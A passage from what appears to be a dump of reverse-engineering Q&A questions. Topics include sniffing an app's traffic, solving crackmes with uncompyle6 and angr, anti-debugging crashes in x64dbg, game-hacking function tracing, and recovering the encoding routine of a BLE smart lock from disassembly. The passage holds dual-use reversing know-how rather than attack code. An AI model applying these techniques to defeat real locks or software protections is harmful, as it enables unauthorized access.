local host address; forexample: +
http://127.0.0.1:44895
+
+POST /app/Settings/do_pathlogin HTTP/1.1
+Host: 127.0.0.1:44895
+Content-Length: 65
+Accept: */*
+Origin: http://127.0.0.1:44895
+X-Requested-With: XMLHttpRequest
+User-Agent: Mozilla/5.0 (Linux; Android 8.0.0; Samsung Galaxy S6 Build/OPR6.170623.017; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/58.0.3029.125 Mobile Safari/537.36
+Transition-Enabled: true
+Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+Referer: http://127.0.0.1:44895/app/Settings/index_callback
+Accept-Encoding: gzip, deflate
+Accept-Language: en-US
+Connection: close
+
+fromPage=login&operation_key=HOME_REP&username=user&password=pass
+
+
+I don't have any idea why this behaviour the app is showing, in the real device this won't show up, i.e, traffic to the address 127.0.0.1. +As other researchers would recommend, tried to sniff network traffic of the app with wireshark and activated the capture traffic of the wireshark, I was expecting to sniff or even decide whether app is using UDP protocols, but did not appear any traffic from the app!. +I wanted some help how can I capture the traffic of this app? +what am I missing? +what other steps do I need? +I would really happy to help me about this. +You can get the app in question here +" +"['file-format', 'ios']"," Title: How are strokes stored in the Goodnotes file format?Body: I have been trying to reverse engineer the .goodnotes file format (a note taking app for iOS devices) and so far have discovered this: + +
attachments/
+    1AF85389-413A-4C21-8EF5-C0603033CBF8
+index.attachments.pb
+index.events.pb
+index.notes.pb
+index.search.pb
+notes/
+    30F8BBBA-710B-4BEC-A90B-49DFCEF05035
+search/
+    1AF85389-413A-4C21-8EF5-C0603033CBF8
+thumbnail.jpg
+
+ +" +['python']," Title: Python decompilation seems to return gibberish (partly)Body: I decompiled a pyc file with uncompyle6, and this is the result: +
# uncompyle6 version 3.7.3
+# Python bytecode 3.6 (3379)
+# Decompiled from: Python 3.6.9 (default, Aug 24 2020, 10:24:35) 
+# [GCC 9.3.0]
+# Embedded file name: /dev/null/dev/null/dev/null/dev/null/crackme.py
+# Compiled at: 2020-06-30 20:00:00
+# Size of source mod 2**32: 545 bytes
+import base64
+from zlib import decompress as ᥤ
+if __name__ == '__main__':
+    input_ = input('Enter your password: ')
+    password = base64.b64encode(input_.encode())
+    Þåçѡӧґд = (b'x\xde\xad\xbe\xef^\x0b\xf6\xf5\r\nv\xf6\xf0\xa9\x0e\xa8,\xc90\xc8\x8bO\x8a,1\x8eO6H1\x8e7,\xf6+\x89/6N.-J\xad\x05\x00\xfc\xe3\rh').replace(b'\xde\xad\xbe\xef', b'')
+    if base64.b64decode(password) == ᥤ(Þåçѡӧґд):
+        print('The flag is', input_)
+    else:
+        print('Incorrect flag! Try reading my code…')
+# okay decompiling /home/kali/jscu/reversing1/crackme.pyc
+
+Clearly, the second password variable is gibberish, and I can't make much of the contents of that variable either. What could I try to make sense of this? +" +"['crackme', 'angr']"," Title: Basic `angr` framework question- is something wrong with my solver?Body: I'm new to reverse engineering and I've just recently learned about angr, a framework that uses symbolic execution to get the input for a given output. I'm trying to complete a crackme using angr. My code so far is: +
import angr
+import claripy
+
+strlen = 10
+base_addr = 0x00000000
+
+flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(strlen)]
+flag = claripy.Concat(*flag_chars)
+
+proj = angr.Project("./d4rkfl0w-Crackme-4", main_opts={'base_addr': base_addr})
+state = proj.factory.full_init_state(args=["./d4rkfl0w-Crackme-4"], add_options=angr.options.unicorn, stdin=flag)
+state.memory.store(state.regs.rbp-0x8, flag)
+
+for k in flag_chars:
+    state.solver.add(k > 0x20)
+    state.solver.add(k < 0x7e)
+
+sm = proj.factory.simulation_manager(state)
+sm.run()
+
+for de in sm.deadended:
+    print(de.posix.dumps(0), de.posix.dumps(1))
+
+The output is: +
> python3 test.py 
+WARNING | 2020-08-24 18:55:24,821 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior.
+WARNING | 2020-08-24 18:55:24,822 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by:
+WARNING | 2020-08-24 18:55:24,822 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state
+WARNING | 2020-08-24 18:55:24,823 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null
+WARNING | 2020-08-24 18:55:24,823 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages.
+WARNING | 2020-08-24 18:55:24,823 | angr.state_plugins.symbolic_memory | Filling memory at 0x7fffffffffefff8 with 64 unconstrained bytes referenced from 0x38e0d0 (strlen+0x0 in libc.so.6 (0x8e0d0))
+b'((0$0(0(0(' b'\nPlease enter the password: \nSorry that is incorrect.\n'
+b'0(0$0(:(((' b'\nPlease enter the password: \nSorry that is incorrect.\n'
+b'U($>"(:($(' b'\nPlease enter the password: \nSorry that is incorrect.\n'
+b'U(6>$(:(0(' b'\nPlease enter the password: \nSorry that is incorrect.\n'
+b'U(6>-(:($(' b'\nPlease enter the password: \nSorry that is incorrect.\n'
+b'U(6$-(:(Y(' b'\nPlease enter the password: \nSorry that is incorrect.\n'
+
+This should be a relatively easy crackme (I had solved it with static analysis already and I want to get the flag a different way). Am I doing something wrong in the code? +The actual flag should be: +
+ U6-:YL."+ +
+" +['x64dbg']," Title: What's the reason for a program to crash every time a breakpoint is set in x64dbg?Body: I know this question may be an ambiguous one and so may not be straightforward, so I apologize for that. Nevertheless, I believe that anti-debugging is responsible for the constant crashing of the program whenever the breakpoint is hit but I am not sure. +I have tried to use other debugging tools but still the same trouble I am getting. So I believe whatever is going on is specific to the way the program is working. So any ideas as to what is responsible for this and how do I go around it +" +['radare2']," Title: radare2 - radare2 doesn't display string valueBody: I have some rare cases with radare2. +when I try to display all string using "iz" it does the job. + +but when I do "pdf" or "pd" I can't see actual value of string: + +I see int puts(const char *s) instead of "incorrect password" or "Access granted!" +" +"['radare2', 'python', 'angr']"," Title: Using angr/radare2 to estimate values given chunks of assemblyBody: I'm currently using radare2 in order to construct a simple CFG, each block/node in that graph is composed of one or more assembly instructions, I wish to estimate the value of specific register or stack position as best as I can. +Few examples: +Example 1: +
xor rax, rax
+inc rax
+; Given these instructions, solve(rax) => 1
+
+Example 2: +
mov rcx, 3
+mov rbx, rcx
+mov rax, rbx
+; Given the instructions above, solve(rax) => 3
+
+Example 3: +
mov rbx, rcx
+mov rax, rbx
+; Given the instructions above, solve(rax) => Unknown
+
+Example 4: +
mov rdx, 1
+shl rdx, 2
+add rdx, 3
+mov [rsp], rdx
+; Given the instructions above, solve([rsp]) => 7
+
+I'm looking for a simple Python example to start with, which either takes opcodes directly or and address and evaluates/solve for specific register/stack position. +I've already looked into some symbolic execution examples, which looks like what I need, but I'm pretty new to this so a simple working example would really help. +" +"['ida', 'disassembly', 'c++', 'c', 'c166']"," Title: C166/C167 code analyzingBody: Recently I try to reverse piece of assembly code that written for C166/C167 Arch. +But I have a problem with some places for convert to C code, such as: +
loc_1892:
+mov     r9, #4
+add     r9, r0
+mov     r12, #0FFFFh
+mov     r4, r9
+add     r4, #2
+calls   0, sub_37C2
+mov     r13, r4
+mov     r14, r5
+mov     r15, #6
+calls   0, CRC_16_Calculate
+
+and in sub_37C2 : +
sub_37C2:
+mov     r5, r4
+shr     r5, #14
+shl     r5, #1
+mov     r5, [r5+0FE00h] ; ==> Or DPP0
+bmov    r4.14, r5.0
+bmov    r4.15, r5.1
+shr     r5, #2
+rets
+
+also in CRC_16_Calculate: +
loc_29A4:
+mov     r4, r13
+mov     r5, r14
+add     r13, #1
+addc    r14, #0
+exts    r5, #1
+movb    rl3, [r4]
+movbz   r7, rl3
+
+I guess in sub_37C2 code try to convert the near address to far. But I can't convert this to C code correctly. +My CRC16 implementation shown below: +
static uint16_t Crc16(uint8_t* cBuffer, uint16_t iBufLen, uint16_t wPreset)
+{
+    uint16_t temp;
+    while (iBufLen--)
+    {
+        temp = *cBuffer++;
+        for (uint8_t j = 0; j < 8; ++j)
+        {
+            if ((wPreset ^ temp) & 0x01) wPreset = (wPreset >> 1) ^ 0xA001;
+            else wPreset >>= 1;
+            temp >>= 1;
+        }
+    }
+    return wPreset;
+}
+
+As you see, I convert loc_29A4 to temp = *cBuffer++ where temp is uint16 but cBuffer is uint8_t +" +"['ida', 'gcc']"," Title: What is the use of moving a variable 3 times only to pass it back to the original register, with no calculations in between?Body: I'm reverse engineering a C++ binary using IDA, and there's one function that I don't quite understand. +
x = dword ptr -8
+var_4 = dword ptr -4
+
+push    rbp
+movss   rbp, rsp
+sub     rsp, 10h
+movss   [rbp+var_4], xmm0
+mov     eax, [rbp+var_4]
+mov     [rbp+x], eax
+movss   xmm0, [rbp+x]
+call    _sinf
+leave
+retn 
+
+The eax register is overwritten right away, and I can't imagine that eax was loaded to pass as an argument to "sinf". What's the use of this? Or is it just a weird compiler optimization? +" +"['disassembly', 'windows', 'assembly', 'ollydbg', 'pe']"," Title: What is physical address on a pe reader?Body: What is physical address on a Pe file? I had search on the microsoft website article about pe files and don't have found anything. + +" +"['windows', 'virtual-memory']"," Title: How are processes assigned a virtual base addressBody: So I'm trying to understand how a process is assigned a base address once its loaded into memory. If I understand correctly each process has its own virtual address space, and each virtual address is mapped to physical memory locations by the mmu and each process believes they have the virtual range 0x00000000 through 0x7FFFFFFF for themselves in the x86 architechture. +Lets say I have program 1 .exe that is loaded at the virtual address 0x121000 + +and lets say I have another program called program 2.exe that is loaded in the virtual address 0xF71000 + +If both programs have their own virtual address space why aren't they loaded at the same virtual address by default? and is it possible for the programs to load at a different virtual address if they are executed again or will program 1.exe always be loaded at address 0x121000 every time its executed? +" +"['ida', 'x86-64', 'game-hacking']"," Title: Cant recognise where is my targeted function executedBody: Im trying to recognise where is my targeted function int64 __fastcall sub_1400CE4F0(__int64 a1, const char *a2)executed. When stepping through this function, after return it's redirecting me here: +
if ( *(_QWORD *)(v9 + v8 + 8) || *(_QWORD *)(v9 + v8 + 16) )
+  (*(void (__fastcall **)(_QWORD, __int64))(v9 + v8 + 16))(*(_QWORD *)(v9 + v8 + 8), v4);
+if ( v5 == 0xFFFFFFF ) //Here..
+  v5 = *((_DWORD *)v2 + 9);
+
+
    +
  1. Where is this function executed? Am I in the right place?
  2. +
  3. Is it hidden in those cast's? How can I understand them? (Maybe it's hidden in those casts?)
  4. +
+" +"['disassembly', 'assembly']"," Title: Getting the algorithm used inside this .so fileBody: I'v been trying to reverse-engineer a BLE "Smartlock" to open it using Python instead of the App that it came with. +I progressed quite far with disassembling the SDK they provide, identifying BLE packets, headers and all, but now I'm stuck. +It contains a .so file inside the Java library which is reponsible for encoding and decoding the data that is sent from and to the lock. +It takes two arguments and returns the en- or decrypted data: +
// .java - The data as a byte array and a single byte to somehow encrypt it all
+public static native byte[] decodeWithEncryptByte(byte[] dataByteArray, byte encryptByte);
+
+Maybe it's even an algorighm that is well known/has a name, but I'm completely stuck. Any tip would be helpful, even in human-readable pseudocode! +The decodeWithEncriptByte part follows: +
.text:00000a20 <Java_com_scaf_android_client_CodecUtils_decodeWithEncrypt>:
+.text:00000a20 55                               push   %ebp
+.text:00000a21 57                               push   %edi
+.text:00000a22 56                               push   %esi
+.text:00000a23 53                               push   %ebx
+.text:00000a24 e8 97 fb ff ff                   call   0x000005c0
+.text:00000a29 81 c3 b7 25 00 00                add    $0x25b7,%ebx
+.text:00000a2f 8d 64 24 c4                      lea    -0x3c(%esp),%esp
+.text:00000a33 8b 74 24 50                      mov    0x50(%esp),%esi
+.text:00000a37 0f b6 44 24 5c                   movzbl 0x5c(%esp),%eax
+.text:00000a3c 8b 4c 24 58                      mov    0x58(%esp),%ecx
+.text:00000a40 88 44 24 2f                      mov    %al,0x2f(%esp)
+.text:00000a44 8b 06                            mov    (%esi),%eax
+.text:00000a46 89 4c 24 04                      mov    %ecx,0x4(%esp)
+.text:00000a4a c7 44 24 08 00 00 00 00          movl   $0x0,0x8(%esp)
+.text:00000a52 89 34 24                         mov    %esi,(%esp)
+.text:00000a55 ff 90 e0 02 00 00                call   *0x2e0(%eax)
+.text:00000a5b 8b 7c 24 58                      mov    0x58(%esp),%edi
+.text:00000a5f 89 44 24 20                      mov    %eax,0x20(%esp)
+.text:00000a63 8b 06                            mov    (%esi),%eax
+.text:00000a65 89 7c 24 04                      mov    %edi,0x4(%esp)
+.text:00000a69 89 34 24                         mov    %esi,(%esp)
+.text:00000a6c ff 90 ac 02 00 00                call   *0x2ac(%eax)
+.text:00000a72 89 c5                            mov    %eax,%ebp
+.text:00000a74 8b 06                            mov    (%esi),%eax
+.text:00000a76 89 6c 24 04                      mov    %ebp,0x4(%esp)
+.text:00000a7a 89 34 24                         mov    %esi,(%esp)
+.text:00000a7d ff 90 c0 02 00 00                call   *0x2c0(%eax)
+.text:00000a83 8b 4c 24 20                      mov    0x20(%esp),%ecx
+.text:00000a87 89 c7                            mov    %eax,%edi
+.text:00000a89 8b 06                            mov    (%esi),%eax
+.text:00000a8b 89 4c 24 10                      mov    %ecx,0x10(%esp)
+.text:00000a8f 89 6c 24 0c                      mov    %ebp,0xc(%esp)
+.text:00000a93 c7 44 24 08 00 00 00 00          movl   $0x0,0x8(%esp)
+.text:00000a9b 89 7c 24 04                      mov    %edi,0x4(%esp)
+.text:00000a9f 89 34 24                         mov    %esi,(%esp)
+.text:00000aa2 ff 90 40 03 00 00                call   *0x340(%eax)
+.text:00000aa8 8b 06                            mov    (%esi),%eax
+.text:00000aaa c7 44 24 08 00 00 00 00          movl   $0x0,0x8(%esp)
+.text:00000ab2 89 7c 24 04                      mov    %edi,0x4(%esp)
+.text:00000ab6 89 34 24                         mov    %esi,(%esp)
+.text:00000ab9 ff 90 e0 02 00 00                call   *0x2e0(%eax)
+.text:00000abf 89 44 24 24                      mov    %eax,0x24(%esp)
+.text:00000ac3 8b 06                            mov    (%esi),%eax
+.text:00000ac5 89 7c 24 04                      mov    %edi,0x4(%esp)
+.text:00000ac9 89 34 24                         mov    %esi,(%esp)
+.text:00000acc ff 90 ac 02 00 00                call   *0x2ac(%eax)
+.text:00000ad2 89 44 24 28                      mov    %eax,0x28(%esp)
+.text:00000ad6 85 c0                            test   %eax,%eax
+.text:00000ad8 7e 3f                            jle    0x00000b19
+.text:00000ada 8b 7c 24 24                      mov    0x24(%esp),%edi
+.text:00000ade 89 c1                            mov    %eax,%ecx
+.text:00000ae0 89 74 24 50                      mov    %esi,0x50(%esp)
+.text:00000ae4 0f b6 e8                         movzbl %al,%ebp
+.text:00000ae7 0f b6 74 24 2f                   movzbl 0x2f(%esp),%esi
+.text:00000aec 89 f8                            mov    %edi,%eax
+.text:00000aee 01 cf                            add    %ecx,%edi
+.text:00000af0 8b 8b fc ff ff ff                mov    -0x4(%ebx),%ecx
+.text:00000af6 8d 76 00                         lea    0x0(%esi),%esi
+.text:00000af9 8d bc 27 00 00 00 00             lea    0x0(%edi,%eiz,1),%edi
+.text:00000b00 89 f2                            mov    %esi,%edx
+.text:00000b02 83 c0 01                         add    $0x1,%eax
+.text:00000b05 32 50 ff                         xor    -0x1(%eax),%dl
+.text:00000b08 88 50 ff                         mov    %dl,-0x1(%eax)
+.text:00000b0b 32 14 29                         xor    (%ecx,%ebp,1),%dl
+.text:00000b0e 88 50 ff                         mov    %dl,-0x1(%eax)
+.text:00000b11 39 f8                            cmp    %edi,%eax
+.text:00000b13 75 eb                            jne    0x00000b00
+.text:00000b15 8b 74 24 50                      mov    0x50(%esp),%esi
+.text:00000b19 8b 7c 24 28                      mov    0x28(%esp),%edi
+.text:00000b1d 8b 06                            mov    (%esi),%eax
+.text:00000b1f 89 34 24                         mov    %esi,(%esp)
+.text:00000b22 89 7c 24 04                      mov    %edi,0x4(%esp)
+.text:00000b26 ff 90 c0 02 00 00                call   *0x2c0(%eax)
+.text:00000b2c 8b 4c 24 24                      mov    0x24(%esp),%ecx
+.text:00000b30 8b 16                            mov    (%esi),%edx
+.text:00000b32 89 7c 24 0c                      mov    %edi,0xc(%esp)
+.text:00000b36 89 4c 24 10                      mov    %ecx,0x10(%esp)
+.text:00000b3a 89 44 24 04                      mov    %eax,0x4(%esp)
+.text:00000b3e 89 34 24                         mov    %esi,(%esp)
+.text:00000b41 c7 44 24 08 00 00 00 00          movl   $0x0,0x8(%esp)
+.text:00000b49 89 44 24 24                      mov    %eax,0x24(%esp)
+.text:00000b4d ff 92 40 03 00 00                call   *0x340(%edx)
+.text:00000b53 8b 44 24 20                      mov    0x20(%esp),%eax
+.text:00000b57 8b 16                            mov    (%esi),%edx
+.text:00000b59 89 34 24                         mov    %esi,(%esp)
+.text:00000b5c 89 44 24 08                      mov    %eax,0x8(%esp)
+.text:00000b60 8b 44 24 58                      mov    0x58(%esp),%eax
+.text:00000b64 c7 44 24 0c 00 00 00 00          movl   $0x0,0xc(%esp)
+.text:00000b6c 89 44 24 04                      mov    %eax,0x4(%esp)
+.text:00000b70 ff 92 00 03 00 00                call   *0x300(%edx)
+.text:00000b76 8b 44 24 24                      mov    0x24(%esp),%eax
+.text:00000b7a 8d 64 24 3c                      lea    0x3c(%esp),%esp
+.text:00000b7e 5b                               pop    %ebx
+.text:00000b7f 5e                               pop    %esi
+.text:00000b80 5f                               pop    %edi
+.text:00000b81 5d                               pop    %ebp
+.text:00000b82 c3                               ret    
+.text:00000b83 8d b6 00 00 00 00                lea    0x0(%esi),%esi
+.text:00000b89 8d bc 27 00 00 00 00             lea    0x0(%edi,%eiz,1),%edi
+
+Similarly, the encode process is probably very similar. +I have used a online disassembler to analyse the Assembly and the opened file is available over there as well, if anyone has a clue what's going on here! +Any help is greatly appreciated! +EDIT: The file is available here: https://github.com/ttlock/Android_SDK_Demo/blob/master/app/libs/ttlock-release-3.0.7.aar +To view the specific file in question, you only need to download it and extract it, inside is a folder named jni/ with the different architectures of the same thing +The device is a TTLock and I'm looking to reverse-engineer it to make it fully open-source, so that people can make custom gateways to the locks, permitting it to work locally (current Gateway only supports Web-operation... and phones China for that). I have 5 TTLocks here, although they're nice locks, it's a bummer that they don't work over LAN when the internet is down. +" +"['disassembly', 'windows', 'functions', 'calling-conventions']"," Title: How to track output parameters in disassembly?Body: I have the following disassembly of winload!CmpFindNlsData function and I need to check the output parameters of this function. +P.S.: CmpFindNLSData(int a1<eax>, int a2, PUNICODE_STRING pAnsiFileName, PUNICODE_STRING pOemFileName, PUNICODE_STRING pustrDefaultLanguage, PUNICODE_STRING pustrOemHalFontName) could be the declaration of this function. This is my first attempt at reverse engineering, could someone please guide through the steps I could take up to define the algorithm of this function. +
winload!CmpFindNLSData:
+00893c10 8bff            mov     edi,edi
+00893c12 55              push    ebp
+00893c13 8bec            mov     ebp,esp
+00893c15 83ec40          sub     esp,40h
+00893c18 53              push    ebx
+00893c19 56              push    esi
+00893c1a 57              push    edi
+00893c1b 8d45e0          lea     eax,[ebp-20h]
+00893c1e 8bf1            mov     esi,ecx
+00893c20 50              push    eax
+00893c21 33db            xor     ebx,ebx
+00893c23 8975ec          mov     dword ptr [ebp-14h],esi
+00893c26 83cfff          or      edi,0FFFFFFFFh
+00893c29 895dcc          mov     dword ptr [ebp-34h],ebx
+00893c2c 52              push    edx
+00893c2d 56              push    esi
+00893c2e 897dc8          mov     dword ptr [ebp-38h],edi
+00893c31 897dd0          mov     dword ptr [ebp-30h],edi
+00893c34 895dd4          mov     dword ptr [ebp-2Ch],ebx
+00893c37 897de0          mov     dword ptr [ebp-20h],edi
+00893c3a 895de4          mov     dword ptr [ebp-1Ch],ebx
+00893c3d 897dc0          mov     dword ptr [ebp-40h],edi
+00893c40 895dc4          mov     dword ptr [ebp-3Ch],ebx
+00893c43 895de8          mov     dword ptr [ebp-18h],ebx
+00893c46 ff5604          call    dword ptr [esi+4]
+00893c49 85c0            test    eax,eax
+00893c4b 0f845d010000    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893c51 8d4df4          lea     ecx,[ebp-0Ch]
+00893c54 8bd0            mov     edx,eax
+00893c56 51              push    ecx
+00893c57 68b8208e00      push    offset winload!CmpControlString (008e20b8)
+00893c5c 8bce            mov     ecx,esi
+00893c5e e869510000      call    winload!CmpFindSubKeyByNameWithStatus (00898dcc)
+00893c63 8d45e0          lea     eax,[ebp-20h]
+00893c66 50              push    eax
+00893c67 56              push    esi
+00893c68 ff5608          call    dword ptr [esi+8]
+00893c6b 397df4          cmp     dword ptr [ebp-0Ch],edi
+00893c6e 0f843a010000    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893c74 8d45e0          lea     eax,[ebp-20h]
+00893c77 50              push    eax
+00893c78 ff75f4          push    dword ptr [ebp-0Ch]
+00893c7b 56              push    esi
+00893c7c ff5604          call    dword ptr [esi+4]
+00893c7f 85c0            test    eax,eax
+00893c81 0f8427010000    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893c87 8d4df4          lea     ecx,[ebp-0Ch]
+00893c8a 8bd0            mov     edx,eax
+00893c8c 51              push    ecx
+00893c8d 68f8208e00      push    offset winload!CmpNlsString (008e20f8)
+00893c92 8bce            mov     ecx,esi
+00893c94 e833510000      call    winload!CmpFindSubKeyByNameWithStatus (00898dcc)
+00893c99 8d45e0          lea     eax,[ebp-20h]
+00893c9c 50              push    eax
+00893c9d 56              push    esi
+00893c9e ff5608          call    dword ptr [esi+8]
+00893ca1 397df4          cmp     dword ptr [ebp-0Ch],edi
+00893ca4 0f8404010000    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893caa 8d45e0          lea     eax,[ebp-20h]
+00893cad 50              push    eax
+00893cae ff75f4          push    dword ptr [ebp-0Ch]
+00893cb1 56              push    esi
+00893cb2 ff5604          call    dword ptr [esi+4]
+00893cb5 85c0            test    eax,eax
+00893cb7 0f84f1000000    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893cbd 8d4df4          lea     ecx,[ebp-0Ch]
+00893cc0 8bd0            mov     edx,eax
+00893cc2 51              push    ecx
+00893cc3 6808218e00      push    offset winload!CmpCodePageString (008e2108)
+00893cc8 8bce            mov     ecx,esi
+00893cca e8fd500000      call    winload!CmpFindSubKeyByNameWithStatus (00898dcc)
+00893ccf 8d45e0          lea     eax,[ebp-20h]
+00893cd2 50              push    eax
+00893cd3 56              push    esi
+00893cd4 ff5608          call    dword ptr [esi+8]
+00893cd7 397df4          cmp     dword ptr [ebp-0Ch],edi
+00893cda 0f84ce000000    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893ce0 8d45e0          lea     eax,[ebp-20h]
+00893ce3 50              push    eax
+00893ce4 ff75f4          push    dword ptr [ebp-0Ch]
+00893ce7 56              push    esi
+00893ce8 ff5604          call    dword ptr [esi+4]
+00893ceb 85c0            test    eax,eax
+00893ced 0f84bb000000    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893cf3 6870228e00      push    offset winload!CmpAcpString (008e2270)
+00893cf8 8bd0            mov     edx,eax
+00893cfa 8bce            mov     ecx,esi
+00893cfc e885330000      call    winload!CmpFindValueByName (00897086)
+00893d01 8bf8            mov     edi,eax
+00893d03 8d45e0          lea     eax,[ebp-20h]
+00893d06 50              push    eax
+00893d07 56              push    esi
+00893d08 ff5608          call    dword ptr [esi+8]
+00893d0b 83ffff          cmp     edi,0FFFFFFFFh
+00893d0e 0f849a000000    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893d14 8d45d0          lea     eax,[ebp-30h]
+00893d17 50              push    eax
+00893d18 57              push    edi
+00893d19 56              push    esi
+00893d1a ff5604          call    dword ptr [esi+4]
+00893d1d 85c0            test    eax,eax
+00893d1f 0f8489000000    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893d25 8d4dc8          lea     ecx,[ebp-38h]
+00893d28 8bd7            mov     edx,edi
+00893d2a 51              push    ecx
+00893d2b 8d4df8          lea     ecx,[ebp-8]
+00893d2e 51              push    ecx
+00893d2f 50              push    eax
+00893d30 8bce            mov     ecx,esi
+00893d32 e8c7340000      call    winload!CmpValueToData (008971fe)
+00893d37 8bf8            mov     edi,eax
+00893d39 8d45d0          lea     eax,[ebp-30h]
+00893d3c 50              push    eax
+00893d3d 56              push    esi
+00893d3e 897ddc          mov     dword ptr [ebp-24h],edi
+00893d41 ff5608          call    dword ptr [esi+8]
+00893d44 85ff            test    edi,edi
+00893d46 7466            je      winload!CmpFindNLSData+0x19e (00893dae)
+00893d48 8b55f8          mov     edx,dword ptr [ebp-8]
+00893d4b 33c9            xor     ecx,ecx
+00893d4d 33c0            xor     eax,eax
+00893d4f 668955da        mov     word ptr [ebp-26h],dx
+00893d53 66894dd8        mov     word ptr [ebp-28h],cx
+00893d57 c745f002000000  mov     dword ptr [ebp-10h],2
+00893d5e 663bc2          cmp     ax,dx
+00893d61 731d            jae     winload!CmpFindNLSData+0x170 (00893d80)
+00893d63 8b75f0          mov     esi,dword ptr [ebp-10h]
+00893d66 0fb7c1          movzx   eax,cx
+00893d69 d1e8            shr     eax,1
+00893d6b 66391c47        cmp     word ptr [edi+eax*2],bx
+00893d6f 740c            je      winload!CmpFindNLSData+0x16d (00893d7d)
+00893d71 6603ce          add     cx,si
+00893d74 66894dd8        mov     word ptr [ebp-28h],cx
+00893d78 663bca          cmp     cx,dx
+00893d7b 72e9            jb      winload!CmpFindNLSData+0x156 (00893d66)
+00893d7d 8b75ec          mov     esi,dword ptr [ebp-14h]
+00893d80 8b5d08          mov     ebx,dword ptr [ebp+8]
+00893d83 6a36            push    36h
+00893d85 58              pop     eax
+00893d86 663907          cmp     word ptr [edi],ax
+00893d89 750c            jne     winload!CmpFindNLSData+0x187 (00893d97)
+00893d8b c745e801000000  mov     dword ptr [ebp-18h],1
+00893d92 e992000000      jmp     winload!CmpFindNLSData+0x219 (00893e29)
+00893d97 8d45e0          lea     eax,[ebp-20h]
+00893d9a 50              push    eax
+00893d9b ff75f4          push    dword ptr [ebp-0Ch]
+00893d9e 56              push    esi
+00893d9f ff5604          call    dword ptr [esi+4]
+00893da2 85c0            test    eax,eax
+00893da4 7513            jne     winload!CmpFindNLSData+0x1a9 (00893db9)
+00893da6 8d45c8          lea     eax,[ebp-38h]
+00893da9 50              push    eax
+00893daa 56              push    esi
+00893dab ff5608          call    dword ptr [esi+8]
+00893dae 32c0            xor     al,al
+00893db0 5f              pop     edi
+00893db1 5e              pop     esi
+00893db2 5b              pop     ebx
+00893db3 8be5            mov     esp,ebp
+00893db5 5d              pop     ebp
+00893db6 c20c00          ret     0Ch
+00893db9 8d4dd8          lea     ecx,[ebp-28h]
+00893dbc 8bd0            mov     edx,eax
+00893dbe 51              push    ecx
+00893dbf 8bce            mov     ecx,esi
+00893dc1 e8c0320000      call    winload!CmpFindValueByName (00897086)
+00893dc6 8bf8            mov     edi,eax
+00893dc8 8d45c8          lea     eax,[ebp-38h]
+00893dcb 50              push    eax
+00893dcc 56              push    esi
+00893dcd ff5608          call    dword ptr [esi+8]
+00893dd0 33c0            xor     eax,eax
+00893dd2 8945dc          mov     dword ptr [ebp-24h],eax
+00893dd5 8d45e0          lea     eax,[ebp-20h]
+00893dd8 50              push    eax
+00893dd9 56              push    esi
+00893dda ff5608          call    dword ptr [esi+8]
+00893ddd 83ffff          cmp     edi,0FFFFFFFFh
+00893de0 74cc            je      winload!CmpFindNLSData+0x19e (00893dae)
+00893de2 8d45d0          lea     eax,[ebp-30h]
+00893de5 50              push    eax
+00893de6 57              push    edi
+00893de7 56              push    esi
+00893de8 ff5604          call    dword ptr [esi+4]
+00893deb 85c0            test    eax,eax
+00893ded 74bf            je      winload!CmpFindNLSData+0x19e (00893dae)
+00893def 8d4dc0          lea     ecx,[ebp-40h]
+00893df2 8bd7            mov     edx,edi
+00893df4 51              push    ecx
+00893df5 8d4df8          lea     ecx,[ebp-8]
+00893df8 51              push    ecx
+00893df9 50              push    eax
+00893dfa 8bce            mov     ecx,esi
+00893dfc e8fd330000      call    winload!CmpValueToData (008971fe)
+00893e01 894304          mov     dword ptr [ebx+4],eax
+00893e04 85c0            test    eax,eax
+00893e06 7408            je      winload!CmpFindNLSData+0x200 (00893e10)
+00893e08 8d45c0          lea     eax,[ebp-40h]
+00893e0b 50              push    eax
+00893e0c 56              push    esi
+00893e0d ff5608          call    dword ptr [esi+8]
+00893e10 8d45d0          lea     eax,[ebp-30h]
+00893e13 50              push    eax
+00893e14 56              push    esi
+00893e15 ff5608          call    dword ptr [esi+8]
+00893e18 33c0            xor     eax,eax
+00893e1a 394304          cmp     dword ptr [ebx+4],eax
+00893e1d 748f            je      winload!CmpFindNLSData+0x19e (00893dae)
+00893e1f 8b45f8          mov     eax,dword ptr [ebp-8]
+00893e22 66894302        mov     word ptr [ebx+2],ax
+00893e26 668903          mov     word ptr [ebx],ax
+00893e29 8d45e0          lea     eax,[ebp-20h]
+00893e2c 50              push    eax
+00893e2d ff75f4          push    dword ptr [ebp-0Ch]
+00893e30 56              push    esi
+00893e31 ff5604          call    dword ptr [esi+4]
+00893e34 85c0            test    eax,eax
+00893e36 0f8472ffffff    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893e3c 6848228e00      push    offset winload!CmpOemCpString (008e2248)
+00893e41 8bd0            mov     edx,eax
+00893e43 8bce            mov     ecx,esi
+00893e45 e83c320000      call    winload!CmpFindValueByName (00897086)
+00893e4a 8bf8            mov     edi,eax
+00893e4c 8d45e0          lea     eax,[ebp-20h]
+00893e4f 50              push    eax
+00893e50 56              push    esi
+00893e51 ff5608          call    dword ptr [esi+8]
+00893e54 83ffff          cmp     edi,0FFFFFFFFh
+00893e57 0f8451ffffff    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893e5d 8d45d0          lea     eax,[ebp-30h]
+00893e60 50              push    eax
+00893e61 57              push    edi
+00893e62 56              push    esi
